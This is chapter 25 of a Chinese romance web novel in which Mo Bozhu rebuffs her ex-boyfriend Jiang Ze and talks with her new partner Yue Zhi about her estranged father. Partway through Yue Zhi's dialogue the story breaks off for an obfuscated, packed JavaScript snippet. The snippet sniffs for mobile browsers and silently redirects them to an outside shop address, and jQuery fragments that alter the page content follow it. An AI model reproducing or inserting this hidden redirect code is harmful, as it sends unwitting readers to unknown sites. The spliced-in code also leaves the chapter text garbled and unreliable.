25. 第 25 章
作品:《前夫哥今天又破防了》 莫泊姝没有应声,侧过头静静地看着窗外的风景,似乎对他现在说的话一点也不感兴趣。
江泽毕竟自幼和她长大,自然对她的性格心知肚明,知道她没有当场拒绝,其实也意味着她松口。
他嘴角微微勾起。她从小就这样,嘴上说得硬,但却很好说话。
“对不起,泊姝,我也是后来才知道阿姨莫叔他们话说得这么过分,我当时没有站在你这边,确实是我的错。”
江泽叹息一声,“所以这一年多,他们屡次找我劝你,我都没有帮忙。可这一年来,他们时不时记起你说的话,那种心酸的神情我看着都实在不忍心。”
江泽一边说,一边用余光瞥向她,尝试从她平静的脸上寻找其他不同寻常的迹象。
一年多没见面,莫泊姝也许是修过眉毛,现在的远山眉为她增添温和平和的美。也许过去还没完全成长起来时,还能从她眉眼间发现稚嫩的反抗。
而如今,已然完全成为一个平和稳重的成年人了。
江泽这时才后知后觉从她的细微变化中发现自己究竟错过了多少。
像这一大段话,放在过去莫泊姝绝对做不到无动于衷。那时候她最在乎的就是来自至亲之人的肯定了。
而现在,他说了这么久,眼前人依旧只是淡淡地笑着。
似乎是见他总算停下来了,莫泊姝眉眼下压,礼貌地朝他笑了下,“说完了?”
她抬手看了眼左手的复古腕表,拿起水杯喝水润了下喉咙,不慌不忙道:“我知道了,有时间的话我会看看他的。”
“至于他打扰到你这件事,”莫泊姝停顿下,语气中带着几分疏离,“与我无关,我不会为他的过错道歉。你实在忍受不了,直接跟他本人说就好。”
“有时间去看看?”江泽低声细细品读这几个字,转而温柔笑了,“你什么时候也会说这种模棱两可的话了?”
是就是,不是就不是,明明之前莫泊姝根本不会说这么客套的话。
还有她手上的这个宝石蓝表盘腕表……
莫泊姝根本就没有戴腕表的习惯。
究竟是谁,改变了她?
江泽眼眸逐渐暗沉下来,见莫泊姝真就准备走了,语气清润而含笑,喊住她,“泊姝,别这么着急。莫叔叔的事你考虑原谅他了,那我呢?”
“泊姝,即使你有男友,我们也可以像以往一样做朋友,不是吗?”
莫泊姝蹙起眉头,正准备开口回话,却听见背后熟悉的嗓音传来。
“不行。她不准备原谅你,你就多往自己身上找找原因,别来骚扰她。”
很直白的一句话,但是精准猜中她内心所想。莫泊姝莞尔,不用回头都知道身后人什么神情。
她微微侧身一看,越祉肩上懒懒散散地搭着一件外套,一副恣意从容的做派,嘴角勾着弧度,似乎完全不在意。然而他走到她身侧时,牵住她的手的力度却暴露了他的心情。
莫泊姝现在已经基本能读懂越祉的心思,心里好笑,被握住的手轻轻敲了敲他的手掌心,以此安慰。
江泽这会见两人亲密的动作,哪里还不明白他们什么关系?
眼前两人相握的手越看越不顺眼。更让人心情郁闷的,还有两人手腕上同款不同色的腕表。
好啊,他说莫泊姝什么时候有戴手表的习惯了,原来是因为她现任。
江泽看得一清二楚。莫泊姝身侧青年看向他时,那种带着的毫不掩饰的胜利者般的姿态。
他只觉得荒谬又好笑。难道他以为在一起就是胜利了?
江泽不欲和莫泊姝的现任说太多的话。他垂下眼眸,眼神温和,朝莫泊姝笑笑,“泊姝,你自己也清楚吧,他这种人一点也不适合你。就跟顾贺然一样,你们迟早也会分手的。”
“不适合我?”莫泊姝不知道江泽怎么总是一副自以为是了解她的样子。明明小时候这毛病还不明显,现在长大了病情加重了。
莫泊姝嗤笑声,“那我找什么样的?难不成像你这样的?”
她语气里的讽刺毫不掩饰,就赤裸裸地朝他扑面而来。
江泽闻言脸色发白,闭了闭眼睛,努力压抑自己的难受,深吸口气,“泊姝,不要再说这种话了好不好?你明明知道我们当年分手,根本就不是我的错。”
这话在莫泊姝看来,就更加好笑了。
合着都分手一年多了,江泽甚至都没有反省过自己,甚至还咬死觉得是她本人的原因?
莫泊姝笑了,只觉得莫名其妙:“江泽,你搞清楚。你要是真没问题,我不会分手这么果断。”
江泽没想到都分手一年多了,莫泊姝还想着说谎骗他,气笑了,“你也不是小孩了,怎么总像小时候一样给自己找借口推脱到别人身上呢?你一天忘不了心里的人,你恋爱就都不会长久的。”
心里的人?
越祉敏锐地捕捉到这个字眼,这才多了几分兴趣,掀起眼皮看了莫泊姝一眼,心里不可避免地划过一丝紧张。
可莫泊姝看起来对此似乎很无语,“你少拿过来人的语气和我说话,根本就和你说不通的,懒得跟你说。”
她语气里的无语不像是作假,说完这句话就准备拉着越祉走人。
越祉松了一口气,居高临下地看着江泽,眼神里透着轻傲,强调散漫,仿佛在嘲笑他的无知和失败。
“好了,说这么多会显得你更狼狈。”越祉顿了下,懒洋洋道:“失败者总是有自己的一套借口,这无可厚非,不过闹到别人面前就太不体面了。”
走出餐厅后,莫泊姝再也憋不住笑,回眸看着越祉打趣道:“好啦,这下放心了吧?”
越祉侧过脸,见她双眼微亮,心里一块地方不自觉软下来,语气情不自禁就放软,“我从来没有对你不放心。我只是觉得你的前任们都做得很不合理。”
他眼皮垂下,语气低沉,似乎只是单纯为她感到担忧,“单纯听他说的话,我都不敢想象这是已经分手一年的状态。都一年了,还没释怀,也不知道反思自己,不知道以后一冲动之下还会对你做什么。”
越祉的叹息声隐隐消失在风中,他的怀抱如他本人般温热令人沉溺。他轻轻地在她发间落下一吻。
“泊姝,我太担心你了
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14200324|149284||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
。”
莫泊姝眨了眨眼睛,抬头看了眼越祉的表情,见他居然是真的一脸担忧,也就真被带偏了思路。
虽然她确实和江泽比较熟,但是毕竟一年多没有联系了,谁也不能保证他不会在某个瞬间烂掉。
莫泊姝就感觉他今天的状态不是很对,好几个瞬间看她的眼神都很阴郁。
万一他就是某个瞬间改变想法,抱着不能让别人好过的心态骗她呢?
要知道很多诈骗案都是熟人作案居多。
莫泊姝理智揣摩片刻,觉得他说得很有道理,便点头道:“确实,或者下次我要警惕一点才行。”
阴谋得逞。越祉微微勾起嘴角,没有再揪着这个话题不放,转而好奇问:“所以你爸怎么了?”
“估计就是普通小感冒了而已。”莫泊姝和江泽吃饭的时候就发现了,江泽根本就没有紧迫感。
要是她爸真的跟他说得一样惨兮兮的,江泽就不会还有闲情扯这么多都没有进入正题了。
莫泊姝心里多了几分猜测,“他做事就喜欢往大了说。估计就只是找个台阶下而已。”
“算了,改天我回去看看他好了。”
莫泊姝这幅样子着实奇怪。
要说是口是心非,但她眼底的淡漠却又是实实在在的。
要说是完全不在意,可她又答应下来了。
越祉自然是有听到他们对话过程中多次提到的“一年多没回”。
究竟是什么事,才能让莫泊姝以一种接近断绝关系的态度离开家里?
越祉想开口问清楚,只是在捕捉到莫泊姝提及她爸时的闪躲后,还是不忍心问出来。
算了,何必戳破呢,也许到时间了,她就会和他说。
越祉心里说服自己不再过问,只是此时,不久前的一道声音在脑海里回响,让他完全无法忽视。
……“你根本就不了解她!你知道她家庭背景吗?你知道她最大的遗憾吗?”
莫泊姝其实是有点厌烦提起莫荣旭的。
这个人名义上是她爸,只是早在上次回家的争吵过后,这种关系就已经被她舍弃。
可偏偏碍于法律上的关系,她又不能完全不管。
莫泊姝略感烦躁,她长长地呼出一口气,没有注意到越祉此时的沉默,顺口问:“你到时候要跟我一起回去看一眼吗?”
越祉回过神来,都要怀疑莫泊姝是不是能听到他心声,不然怎么他刚刚想完她就顺着他的想法问了。
他故作不在意地道:“行啊,反正上次都回过你外婆家了,再去一次父亲家也差不多。”
莫泊姝涨了张口,欲言又止。
其实,她刚刚这句话只是礼貌性问下。
有关莫荣旭的那个家的一切,不知道为什么她莫名不想让越祉知道。
……更不想让越祉看见她在一个理应叫家的地方反而像个陌生人一样。
未免显得自己太狼狈了。
她这么想着,只是抬眼对上越祉含笑的眼眸,又说不出拒绝的话了。
“……行啊,那我们去看看带点礼回去吧。”

